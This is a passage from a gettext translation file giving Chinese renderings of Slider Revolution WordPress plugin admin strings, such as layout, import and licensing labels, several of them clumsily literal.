admin/includes/widget.class.php:33 msgid "No Sliders found, Please create a Slider first" msgstr "没有Sliders发现,首先请创建一个Slider " #: admin/includes/widget.class.php:51 admin/views/builder-slider-forms.php:54 #: admin/views/builder-slider-forms.php:76 #: admin/views/builder-slider-forms.php:544 #: admin/views/builder-slider-forms.php:662 admin/views/modals-builder.php:352 #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 #: admin/views/builder-layer-forms.php:880 msgid "Title" msgstr "标题" #: admin/includes/widget.class.php:55 msgid "Choose Slider" msgstr "选择 Slider" #: admin/includes/widget.class.php:66 msgid "Home Page Only" msgstr "仅限主页" #: admin/includes/widget.class.php:70 msgid "Pages (example: 2,10):" msgstr "页面(例如:2,10):" #: admin/includes/tooltips.class.php:16 msgid "Docs" msgstr "文件" #: admin/includes/template.class.php:57 msgid "" "Can't write the file into the uploads folder of WordPress, please change " "permissions and try again!" msgstr "无法将文件写入WordPress的uploads文件夹,请更改权限再试一次!" #: admin/includes/template.class.php:64 msgid "" "Can't connect programatically to the ThemePunch servers, please check your " "webserver settings" msgstr "无法以编程方式连接到ThemePunch服务器,请检查您的网络服务器设置" #: admin/includes/template.class.php:67 msgid "" "Can't write into the uploads folder of WordPress, please change permissions " "and try again!" msgstr "无法写入WordPress的uploads文件夹,请更改权限再试一次!" #: admin/includes/export-html.class.php:51 msgid "Wrong request!" msgstr "错误的要求!" #: admin/includes/export-html.class.php:304 msgid "" "Using this data is only allowed with a valid licence of the jQuery Slider " "Revolution Plugin, which can be found at CodeCanyon: http://codecanyon." "net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch" msgstr "" "使用此数据仅允许使用jQuery Slider Revolution插件的有效许可证,该插件可在CodeCanyon上找到:http:" "//codecanyon.net/item/slider-revolution-responsive-jquery-plugin/2580848?" "ref=themepunch" #: admin/includes/plugin-update.class.php:5859 msgid "On Stage" msgstr "在舞台上" #: admin/includes/addons.class.php:110 admin/includes/addons.class.php:135 msgid "Please activate Slider Revolution" msgstr "请激活Slider Revolution" #: admin/includes/import.class.php:137 msgid "No file sent." msgstr "没有发送文件。" #: admin/includes/import.class.php:140 msgid "Exceeded filesize limit." msgstr "超出文件大小限制。" #: admin/includes/import.class.php:152 msgid "Import file not found" msgstr "找不到导入文件" #: admin/includes/import.class.php:199 msgid "slider_export.txt does not exist!" msgstr "slider_export.txt不存在!" #: admin/includes/import.class.php:423 msgid "Please select the correct zip file, checksum failed!" msgstr "请选择正确的zip文件,校验和失败!" #: admin/includes/import.class.php:470 admin/includes/import.class.php:552 msgid "" "Wrong export slider file format! Please make sure that the uploaded file is " "either a zip file with a correct slider_export.txt in the root of it or an " "valid slider_export.txt file." msgstr "" "错误的出口slider 文件格式!请确保上传的文件是zip文件,其根目录中包含正确的slider_export.txt或有效的slider_export." "txt文件。" #: admin/includes/import.class.php:1540 msgid "could not find correct Slide to copy, please try again." msgstr "找不到正确的幻灯片复制,请再试一次。" #: admin/includes/import.class.php:1663 msgid " not found!" msgstr "未找到!" #: admin/includes/export.class.php:474 msgid "Can't create zip file: " msgstr "无法创建zip文件:" #: admin/views/modals-general.php:22 msgid "Decision Modal Title" msgstr "决策模式标题" #: admin/views/modals-general.php:27 msgid "Do It" msgstr "做吧" #: admin/views/modals-general.php:28 msgid "Dont Do It" msgstr "不要这样做" #: admin/views/modals-general.php:40 msgid "Copy Embed Code" msgstr "复制嵌入代码" #: admin/views/modals-general.php:55 admin/views/builder-slider-forms.php:62 msgid "Addons" msgstr "Addons" #: admin/views/modals-general.php:55 msgid "Check for Updates" msgstr "检查更新" #: admin/views/modals-general.php:59 msgid "Slider Revolution Addons" msgstr "Slider Revolution Addons" #: admin/views/modals-general.php:59 msgid "Please select an Addon to start with." msgstr "请选择一个Addon开头。" #: admin/views/modals-overview.php:19 admin/views/modals-builder.php:26 msgid "Welcome to Slider Revolution 6" msgstr "欢迎来到Slider Revolution 6" #: admin/views/modals-overview.php:63 msgid "Global Settings" msgstr "全局设置" #: admin/views/modals-overview.php:65 msgid "Permission" msgstr "允许" #: admin/views/modals-overview.php:66 msgid "To Admin" msgstr "致管理员" #: admin/views/modals-overview.php:67 msgid "To Editor, Admin" msgstr "致编辑,管理员" #: admin/views/modals-overview.php:68 msgid "Author, Editor, Admin" msgstr "作者,编辑,管理员" #: admin/views/modals-overview.php:71 msgid "Include Libraries Globaly" msgstr "全局包括库" #: admin/views/modals-overview.php:72 msgid "List of Pages to include Revslider Libraries " msgstr "包含Revslider库的页面列表" #: admin/views/modals-overview.php:72 msgid "Example 2,homepage,5" msgstr "例2,主页,5" #: admin/views/modals-overview.php:74 msgid "Insert scripts in Footer" msgstr "在Footer中插入脚本" #: admin/views/modals-overview.php:75 msgid "Defer JavaScript Loading" msgstr "推迟 JavaScript 载入中" #: admin/views/modals-overview.php:77 msgid "Optional Font Loading URL" msgstr "可选的字体加载URL" #: admin/views/modals-overview.php:77 msgid "ie. http://fonts.useso.com/css?family for chinese Environment" msgstr "ie. http://fonts.useso.com/css?family 中国环境" #: admin/views/modals-overview.php:79 msgid "Default Desktop Content Width" msgstr "默认桌面内容宽度" #: admin/views/modals-overview.php:80 msgid "Default Notebook Content Width" msgstr "默认笔记本内容宽度" #: admin/views/modals-overview.php:81 msgid "Default Tablet Content Width" msgstr "默认平板电脑内容宽度" #: admin/views/modals-overview.php:82 msgid "Default Mobile Content Width" msgstr "默认移动内容宽度" #: admin/views/modals-overview.php:84 msgid "Fix RS Table Issues" msgstr "修复RS表问题" #: admin/views/modals-overview.php:84 msgid "Force RS DB Creation" msgstr "强制RS DB创建" #: admin/views/modals-overview.php:88 msgid "Save Global Settings" msgstr "保存全局设置" #: admin/views/overview.php:20 msgid "Good Evening " msgstr "晚上好" #: admin/views/overview.php:22 msgid "Good Morning " msgstr "早上好" #: admin/views/overview.php:24 msgid "Good Afternoon " msgstr "下午好" #: admin/views/overview.php:39 msgid "Modules" msgstr "模块" #: admin/views/overview.php:40 msgid "Updates" msgstr "更新" #: admin/views/overview.php:41 msgid "Activation" msgstr "激活" #: admin/views/overview.php:42 msgid "News" msgstr "新闻" #: admin/views/overview.php:43 msgid "Globals" msgstr "全局" #: admin/views/overview.php:44 msgid "FAQ's" msgstr "FAQ's" #: admin/views/overview.php:45 msgid "Support" msgstr "支持" #: admin/views/overview.php:52 msgid "You are running Slider Revolution " msgstr "你正在运行Slider Revolution" #: admin/views/overview.php:56 msgid "New Blank Module" msgstr "新的空白模块" #: admin/views/overview.php:57 msgid "New Module from Template" msgstr "模板中的新模块" #: admin/views/overview.php:58 msgid "Manual Import" msgstr "手动导入" #: admin/views/overview.php:59 msgid "AddOns" msgstr "AddOns" #: admin/views/overview.php:65 msgid "Search Modules..." msgstr "搜索模块......" #: admin/views/overview.php:68 msgid "Show all Modules" msgstr "显示所有模块" #: admin/views/overview.php:69 msgid "Add Folder" msgstr "新增文件夹" #: admin/views/overview.php:78 msgid "Show All" msgstr "显示所有" #: admin/views/overview.php:92 msgid "Plugin Updates" msgstr "插件更新" #: admin/views/overview.php:100 msgid "Sytem Requirements" msgstr "系统要求" #: admin/views/overview.php:102 msgid "Upload folder writable" msgstr "上传文件夹可写" #: admin/views/overview.php:103 msgid "Memory Limit (256M)" msgstr "内存限制(256M)" #: admin/views/overview.php:104 msgid "Upload Max. Filesize (256M)" msgstr "上传最大。文件大小(256M)" #: admin/views/overview.php:105 msgid "Max. Post Size (256M)" msgstr "最大。邮政大小(256M)" #: admin/views/overview.php:106 msgid "ThemePunch Server" msgstr "ThemePunch服务器" #: admin/views/overview.php:107 admin/views/builder.php:111 #: admin/views/builder.php:121 admin/views/builder-slider-forms.php:331 #: admin/views/builder-slide-forms.php:53 #: admin/views/builder-slide-forms.php:65 #: admin/views/builder-slide-forms.php:72 #: admin/views/builder-slide-forms.php:78 #: admin/views/builder-slide-forms.php:83 #: admin/views/builder-layer-forms.php:174 #: admin/views/builder-layer-forms.php:220 #: admin/views/builder-layer-forms.php:263 msgid "Object Library" msgstr "对象库" #: admin/views/overview.php:113 msgid "Update History" msgstr "更新历史记录" #: admin/views/overview.php:126 msgid "Find My Code" msgstr "找到我的代码" #: admin/views/overview.php:130 msgid "xxxx xxxx xxxx xxxx" msgstr "xxxx xxxx xxxx xxxx" #: admin/views/overview.php:131 msgid "Enter Purchase Code" msgstr "输入购买代码" #: admin/views/overview.php:137 msgid "1 Purchase Code per Website" msgstr "1每个网站的购买代码" #: admin/views/overview.php:138 msgid "" "If you want to use Slider Revolution on another domain, please
            purchase another license" msgstr "" "如果你想在另一个领域使用Slider Revolution,请购买另一个许可证" #: admin/views/overview.php:143 msgid "Register to unlock all Premium Features" msgstr "注册以解锁所有高级功能" #: admin/views/overview.php:148 admin/views/overview.php:152 #: admin/views/overview.php:156 admin/views/overview.php:160 #: admin/views/overview.php:164 msgid "Register to Unlock" msgstr "注册解锁" #: admin/views/overview.php:175 msgid "Connect with ThemePunch" msgstr "与连接 ThemePunch" #: admin/views/overview.php:176 msgid "Youtube" msgstr "的Youtube" #: admin/views/overview.php:178 admin/views/builder-slider-forms.php:467 msgid "Twitter" msgstr "Twitter" #: admin/views/overview.php:180 admin/views/builder-slider-forms.php:468 msgid "Facebook" msgstr "Facebook" #: admin/views/overview.php:182 admin/views/builder-slider-forms.php:466 msgid "Instagram" msgstr "Instagram" #: admin/views/overview.php:184 msgid "Dribbble" msgstr "Dribbble" #: admin/views/overview.php:186 msgid "Sign up to our Newsletter" msgstr "注册我们的时事通讯" #: admin/views/overview.php:187 msgid "Enter your Email" msgstr "输入你的电子邮箱" #: admin/views/overview.php:189 msgid "Sign Up" msgstr "注册" #: admin/views/overview.php:192 msgid "Updates, New Products, Spotlights" msgstr "更新,新产品,聚光灯" #: admin/views/overview.php:193 msgid "" "Get access to the latest News from ThemePunch. We promise to never send you " "Spam!" msgstr "从中获取最新消息ThemePunch。我们承诺永远不会向您发送垃圾邮件!" #: admin/views/overview.php:199 msgid "Whats New?" msgstr "什么是新的?" #: admin/views/builder.php:48 admin/views/builder.php:201 msgid "Desktop" msgstr "桌面" #: admin/views/builder.php:49 admin/views/builder.php:202 msgid "Notebook" msgstr "笔记本" #: admin/views/builder.php:50 admin/views/builder.php:203 msgid "Tablet" msgstr "片剂" #: admin/views/builder.php:51 admin/views/builder.php:204 msgid "Mobile" msgstr "移动" #: admin/views/builder.php:67 admin/views/builder.php:82 #: admin/views/builder-slider-forms.php:690 msgid "Slides" msgstr "Slides" #: admin/views/builder.php:81 admin/views/builder-slide-forms.php:490 msgid "Back" msgstr "背部" #: admin/views/builder.php:85 msgid "Add Slide(s)" msgstr "加 Slide(s)" #: admin/views/builder.php:87 msgid "Blank slide" msgstr "空白幻灯片" #: admin/views/builder.php:88 msgid "Bulk Slide" msgstr "批量幻灯片" #: admin/views/builder.php:89 msgid "Slide From Template" msgstr "Slide来自模板" #: admin/views/builder.php:98 msgid "Add Layer" msgstr "添加图层" #: admin/views/builder.php:101 admin/views/builder-layer-forms.php:1554 msgid "Text" msgstr "文本" #: admin/views/builder.php:103 msgid "Quick Style Headline" msgstr "快速风格标题" #: admin/views/builder.php:104 msgid "Quick Style Content" msgstr "快速风格内容" #: admin/views/builder.php:108 admin/views/builder-slide-forms.php:45 msgid "Image" msgstr "图片" #: admin/views/builder.php:110 admin/views/builder.php:120 msgid "WordPress Library" msgstr "WordPress库" #: admin/views/builder.php:112 admin/views/builder.php:122 msgid "Empty Placeholder" msgstr "空占位符" #: admin/views/builder.php:115 msgid "Button" msgstr "按键" #: admin/views/builder.php:116 msgid "Shape" msgstr "形状" #: admin/views/builder.php:118 msgid "Video" msgstr "视频" #: admin/views/builder.php:125 admin/views/builder-layer-forms.php:203 msgid "Audio" msgstr "音频" #: admin/views/builder.php:126 msgid "Icon / SVG" msgstr "图标/ SVG" #: admin/views/builder.php:127 msgid "Row" msgstr "行" #: admin/views/builder.php:128 admin/views/builder-slider-forms.php:843 #: admin/views/builder-slider-forms.php:853 msgid "Group" msgstr "组" #: admin/views/builder.php:129 msgid "Layer Library" msgstr "图层库" #: admin/views/builder.php:130 msgid "Import Layer" msgstr "导入图层" #: admin/views/builder.php:136 msgid "Multiple Selection" msgstr "多重选择" #: admin/views/builder.php:137 msgid "No Layers Selected" msgstr "没有选择图层" #: admin/views/builder.php:150 msgid "Lock/Unlock Selected" msgstr "锁定/解锁已选中" #: admin/views/builder.php:151 msgid "Unlock All" msgstr "全部解锁" #: admin/views/builder.php:157 msgid "Hide Highlight Boxes" msgstr "隐藏突出显示框" #: admin/views/builder.php:157 msgid "Show Highlight Boxes" msgstr "显示突出显示框" #: admin/views/builder.php:158 msgid "Show/Hide Selected" msgstr "显示/隐藏选定的" #: admin/views/builder.php:159 msgid "Set All Visible" msgstr "设置全部可见" #: admin/views/builder.php:179 msgid "Single Select" msgstr "单选" #: admin/views/builder.php:180 msgid "Add to Selection" msgstr "添加到选择" #: admin/views/builder.php:181 msgid "Drag to Select" msgstr "拖动到选择" #: admin/views/builder.php:190 msgid "Open Document" msgstr "打开文档" #: admin/views/builder.php:209 msgid "Quick Style" msgstr "快速风格" #: admin/views/builder.php:302 admin/views/builder-slider-forms.php:1264 #: admin/views/builder-nav-forms.php:229 admin/views/builder-nav-forms.php:369 #: admin/views/builder-nav-forms.php:556 admin/views/builder-nav-forms.php:740 msgid "Save" msgstr "保存" #: admin/views/builder.php:323 msgid "" "The Current Size is set to \"Auto Size\". Do you want to continue with " "Custom Size?" msgstr "“当前大小”设置为“自动大小”。要继续使用自定义尺寸吗?" #: admin/views/builder-slider-forms.php:55 #: admin/views/builder-slider-forms.php:194 msgid "Layout" msgstr "布局" #: admin/views/builder-slider-forms.php:56 #: admin/views/builder-slider-forms.php:202 #: admin/views/builder-nav-forms.php:832 msgid "Carousel" msgstr "圆盘传送带" #: admin/views/builder-slider-forms.php:58 msgid "Defaults" msgstr "默认" #: admin/views/builder-slider-forms.php:59 msgid "General" msgstr "一般" #: admin/views/builder-slider-forms.php:60 #: admin/views/builder-slide-forms.php:30 #: admin/views/builder-layer-forms.php:35 #: admin/views/builder-layer-forms.php:795 msgid "On Scroll" msgstr "在滚动" #: admin/views/builder-slider-forms.php:61 #: admin/views/builder-slider-forms.php:97 msgid "Spinner" msgstr "微调" #: admin/views/builder-slider-forms.php:63 #: admin/views/builder-layer-forms.php:1161 msgid "Advanced" msgstr "高级" #: admin/views/builder-slider-forms.php:65 msgid "As Modal" msgstr "如弹出" #: admin/views/builder-slider-forms.php:74 msgid "Module Naming" msgstr "模块命名" #: admin/views/builder-slider-forms.php:76 msgid "Enter a Module name" msgstr "输入模块名称" #: admin/views/builder-slider-forms.php:77 #: admin/includes/shortcode_generator/shortcode_generator.class.php:226 msgid "Alias" msgstr "别号" #: admin/views/builder-slider-forms.php:77 msgid "enter-a-module-name" msgstr "enter-a-module-name" #: admin/views/builder-slider-forms.php:78 #: admin/views/builder-slider-forms.php:172 msgid "Shortcode" msgstr "短代码" #: admin/views/builder-slider-forms.php:79 #: admin/views/builder-slider-forms.php:173 msgid "Copy Shortcode" msgstr "复制短代码" #: admin/views/builder-slider-forms.php:83 #: admin/views/builder-slide-forms.php:428 msgid "" "Place the shortcode on the page or post where you want to show this module." msgstr "将短代码放在要显示此模块的页面或帖子上。" #: admin/views/builder-slider-forms.php:95 msgid "Spinner Settings" msgstr "微调器设置" #: admin/views/builder-slider-forms.php:119 msgid "Spinner Color" msgstr "旋转器颜色" #: admin/views/builder-slider-forms.php:142 msgid "Slider as Modal" msgstr "Slider 弹出" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:302 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1276 #: admin/views/builder-layer-forms.php:1300 #: admin/views/builder-layer-forms.php:1321 msgid "Left" msgstr "剩下" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:303 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:145 admin/views/builder-nav-forms.php:146 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:443 admin/views/builder-nav-forms.php:444 #: admin/views/builder-nav-forms.php:626 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1277 #: admin/views/builder-layer-forms.php:1282 #: admin/views/builder-layer-forms.php:1301 #: admin/views/builder-layer-forms.php:1306 #: admin/views/builder-layer-forms.php:1308 #: admin/views/builder-layer-forms.php:1322 #: admin/views/builder-layer-forms.php:1325 #: admin/views/builder-layer-forms.php:1327 msgid "Center" msgstr "Center" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:304 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1278 #: admin/views/builder-layer-forms.php:1304 #: admin/views/builder-layer-forms.php:1323 msgid "Right" msgstr "对" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1183 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1281 #: admin/views/builder-layer-forms.php:1305 #: admin/views/builder-layer-forms.php:1324 msgid "Top" msgstr "最佳" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1184 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1283 #: admin/views/builder-layer-forms.php:1307 #: admin/views/builder-layer-forms.php:1326 msgid "Bottom" msgstr "底部" #: admin/views/builder-slider-forms.php:149 #: admin/views/builder-slider-forms.php:336 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:251 #: admin/views/builder-nav-forms.php:268 admin/views/builder-nav-forms.php:397 #: admin/views/builder-nav-forms.php:416 admin/views/builder-nav-forms.php:580 #: admin/views/builder-nav-forms.php:599 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:579 msgid "Position" msgstr "位置" #: admin/views/builder-slider-forms.php:155 msgid "Use Cover" msgstr "使用封面" #: admin/views/builder-slider-forms.php:161 msgid "Cover Color" msgstr "封面颜色" #: admin/views/builder-slider-forms.php:165 msgid "Body Class" msgstr "身体类" #: admin/views/builder-slider-forms.php:168 msgid "Toggle Document Body Class on Open and Close of the Modal." msgstr "在打开和关闭时切换文档正文类弹出" #: admin/views/builder-slider-forms.php:177 msgid "" "Place the shortcode on the page or post where you want to show this modal." msgstr "将短代码放在页面上或发布您要显示此模式的位置。" #: admin/views/builder-slider-forms.php:189 msgid "Slider Layout" msgstr "Slider 布局" #: admin/views/builder-slider-forms.php:198 #: admin/views/builder-slider-forms.php:475 admin/views/modals-builder.php:322 #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-slide-forms.php:526 #: admin/views/builder-layer-forms.php:198 #: admin/views/builder-layer-forms.php:1269 msgid "Type" msgstr "类型" #: admin/views/builder-slider-forms.php:200 #: admin/views/builder-slider-forms.php:948 #: admin/views/builder-nav-forms.php:612 msgid "Slider" msgstr "Slider" #: admin/views/builder-slider-forms.php:201 #: admin/views/builder-layer-forms.php:469 msgid "Scene" msgstr "现场" #: admin/views/builder-slider-forms.php:208 msgid "Sizing" msgstr "浆纱" #: admin/views/builder-slider-forms.php:210 msgid "Auto" msgstr "汽车" #: admin/views/builder-slider-forms.php:211 msgid "Full-Width" msgstr "全屏宽度" #: admin/views/builder-slider-forms.php:212 msgid "Full-Screen" msgstr "全屏" #: admin/views/builder-slider-forms.php:221 msgid "Layer Area Size" msgstr "图层区域大小" #: admin/views/builder-slider-forms.php:224 #: admin/views/builder-slider-forms.php:232 #: admin/views/builder-slider-forms.php:240 #: admin/views/builder-slider-forms.php:248 msgid "Browser Width" msgstr "浏览器宽度" #: admin/views/builder-slider-forms.php:260 msgid "Decrease Module Height" msgstr "降低模块高度" #: admin/views/builder-slider-forms.php:262 msgid "by Container" msgstr "通过Container" #: admin/views/builder-slider-forms.php:262 msgid "Enter Container .class or #id" msgstr "输入Container .class或#id" #: admin/views/builder-slider-forms.php:264 msgid "by PX or %" msgstr "按PX或%" #: admin/views/builder-slider-forms.php:266 msgid "Dont Force Fullwidth" msgstr "不要强制全宽" #: admin/views/builder-slider-forms.php:273 #: admin/views/builder-slider-forms.php:1202 msgid "Advanced Settings" msgstr "高级设置" #: admin/views/builder-slider-forms.php:277 msgid "Max Width" msgstr "最大宽度" #: admin/views/builder-slider-forms.php:278 msgid "Min Height" msgstr "最小高度" #: admin/views/builder-slider-forms.php:279 msgid "Wrapper Max Height" msgstr "Wrapper 最大高度" #: admin/views/builder-slider-forms.php:282 msgid "Keep Breakpoint Heights" msgstr "保持断点高度" #: admin/views/builder-slider-forms.php:283 msgid "Respect Ratio" msgstr "尊重比率" #: admin/views/builder-slider-forms.php:284 msgid "Grid = Module" msgstr "网格=模块" #: admin/views/builder-slider-forms.php:286 msgid "Force Overflow Visible" msgstr "强制溢出可见" #: admin/views/builder-slider-forms.php:287 msgid "Fixed on Top" msgstr "固定在顶部" #: admin/views/builder-slider-forms.php:297 msgid "Module Position within Wrapper" msgstr "包装器中的模块位置" #: admin/views/builder-slider-forms.php:300 msgid "Align" msgstr "对齐" #: admin/views/builder-slider-forms.php:320 msgid "Module Background" msgstr "模块背景" #: admin/views/builder-slider-forms.php:323 msgid "Use Image" msgstr "使用图片" #: admin/views/builder-slider-forms.php:326 #: admin/views/builder-slide-forms.php:59 #: admin/views/builder-layer-forms.php:564 #: admin/views/builder-layer-forms.php:1017 msgid "BG Color" msgstr "BG颜色" #: admin/views/builder-slider-forms.php:329 #: admin/views/builder-layer-forms.php:568 msgid "BG Image" msgstr "BG图像" #: admin/views/builder-slider-forms.php:329 msgid "Enter External URL" msgstr "输入外部URL" #: admin/views/builder-slider-forms.php:330 #: admin/views/builder-slider-forms.php:1229 #: admin/views/builder-slide-forms.php:52 #: admin/views/builder-slide-forms.php:64 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:77 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-slide-forms.php:173 #: admin/views/builder-slide-forms.php:185 #: admin/views/builder-layer-forms.php:173 #: admin/views/builder-layer-forms.php:215 #: admin/views/builder-layer-forms.php:219 #: admin/views/builder-layer-forms.php:262 msgid "Media Library" msgstr "媒体库" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left center" msgstr "离开中心" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left bottom" msgstr "左下角" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left top" msgstr "左上角" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center top" msgstr "center top" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center center" msgstr "center center" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center bottom" msgstr "center bottom" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right top" msgstr "右上角" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right center" msgstr "正确的中心" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right bottom" msgstr "右下角" #: admin/views/builder-slider-forms.php:365 msgid "Border, Overlay & Shadow" msgstr "边框,覆盖 & 阴影" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "Overlay" msgstr "覆盖" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "none" msgstr "没有" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 Black" msgstr "2 x 2黑色" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 White" msgstr "2 x 2白色" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 Black" msgstr "3 x 3黑色" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 White" msgstr "3 x 3白色" #: admin/views/builder-slider-forms.php:370 msgid "Shadow Type" msgstr "阴影类型" #: admin/views/builder-slider-forms.php:370 msgid "No Shadow" msgstr "没影子" #: admin/views/builder-slider-forms.php:372 msgid "Gap (Border)" msgstr "差距(边界)" #: admin/views/builder-slider-forms.php:382 msgid "Caraousel" msgstr "Caraousel" #: admin/views/builder-slider-forms.php:385 msgid "Carousel Layout" msgstr "轮播布局" #: admin/views/builder-slider-forms.php:388 msgid "Infinity Scroll" msgstr "无限滚动" #: admin/views/builder-slider-forms.php:389 msgid "Layers Visible" msgstr "图层可见" #: admin/views/builder-slider-forms.php:391 msgid "Max. Visible" msgstr "最大。可见" #: admin/views/builder-slider-forms.php:393 msgid "Stretch Slides" msgstr "伸展Slides" #: admin/views/builder-slider-forms.php:411 #: admin/views/builder-nav-forms.php:122 admin/views/builder-nav-forms.php:175 #: admin/views/builder-nav-forms.php:322 admin/views/builder-nav-forms.php:511 #: admin/views/builder-nav-forms.php:693 admin/views/builder-slide-forms.php:21 #: admin/views/builder-slide-forms.php:383 #: admin/views/builder-layer-forms.php:32 #: admin/views/builder-layer-forms.php:1101 #: admin/views/builder-layer-forms.php:1586 msgid "Animation" msgstr "动画" #: admin/views/builder-slider-forms.php:413 #: admin/views/builder-slider-forms.php:1057 #: admin/views/builder-slide-forms.php:461 #: admin/views/builder-layer-forms.php:1136 msgid "Easing" msgstr "缓解" #: admin/views/builder-slider-forms.php:414 msgid "Ease Speed" msgstr "缓解速度" #: admin/views/builder-slider-forms.php:419 #: admin/views/builder-slider-forms.php:1042 #: admin/views/builder-layer-forms.php:1596 msgid "Effects" msgstr "效果" #: admin/views/builder-slider-forms.php:422 #: admin/views/builder-slider-forms.php:1170 #: admin/views/builder-nav-forms.php:123 admin/views/builder-nav-forms.php:176 #: admin/views/builder-nav-forms.php:323 admin/views/builder-nav-forms.php:512 #: admin/views/builder-nav-forms.php:694 #: admin/views/builder-slide-forms.php:295 msgid "Fade" msgstr "褪色" #: admin/views/builder-slider-forms.php:428 msgid "Rotation" msgstr "回转" #: admin/views/builder-slider-forms.php:435 #: admin/views/builder-layer-forms.php:1663 msgid "Scale" msgstr "规模" #: admin/views/builder-slider-forms.php:460 #: admin/views/builder-slider-forms.php:693 #: admin/views/builder-slider-forms.php:775 #: admin/views/builder-slider-forms.php:810 #: admin/views/builder-slider-forms.php:840 #: admin/views/builder-slide-forms.php:42 #: admin/views/builder-slide-forms.php:56 msgid "Source" msgstr "资源" #: admin/views/builder-slider-forms.php:463 msgid "Post-Based" msgstr "Post-Based" #: admin/views/builder-slider-forms.php:464 admin/views/modals-builder.php:524 #: admin/views/modals-builder.php:577 msgid "WooCommerce" msgstr "WooCommerce" #: admin/views/builder-slider-forms.php:465 msgid "Flickr" msgstr "Flickr" #: admin/views/builder-slider-forms.php:469 msgid "YouTube" msgstr "YouTube的" #: admin/views/builder-slider-forms.php:470 msgid "Vimeo" msgstr "Vimeo的" #: admin/views/builder-slider-forms.php:477 admin/views/modals-builder.php:523 #: admin/views/modals-builder.php:541 msgid "Post" msgstr "岗位" #: admin/views/builder-slider-forms.php:478 msgid "Specific Post" msgstr "具体帖子" #: 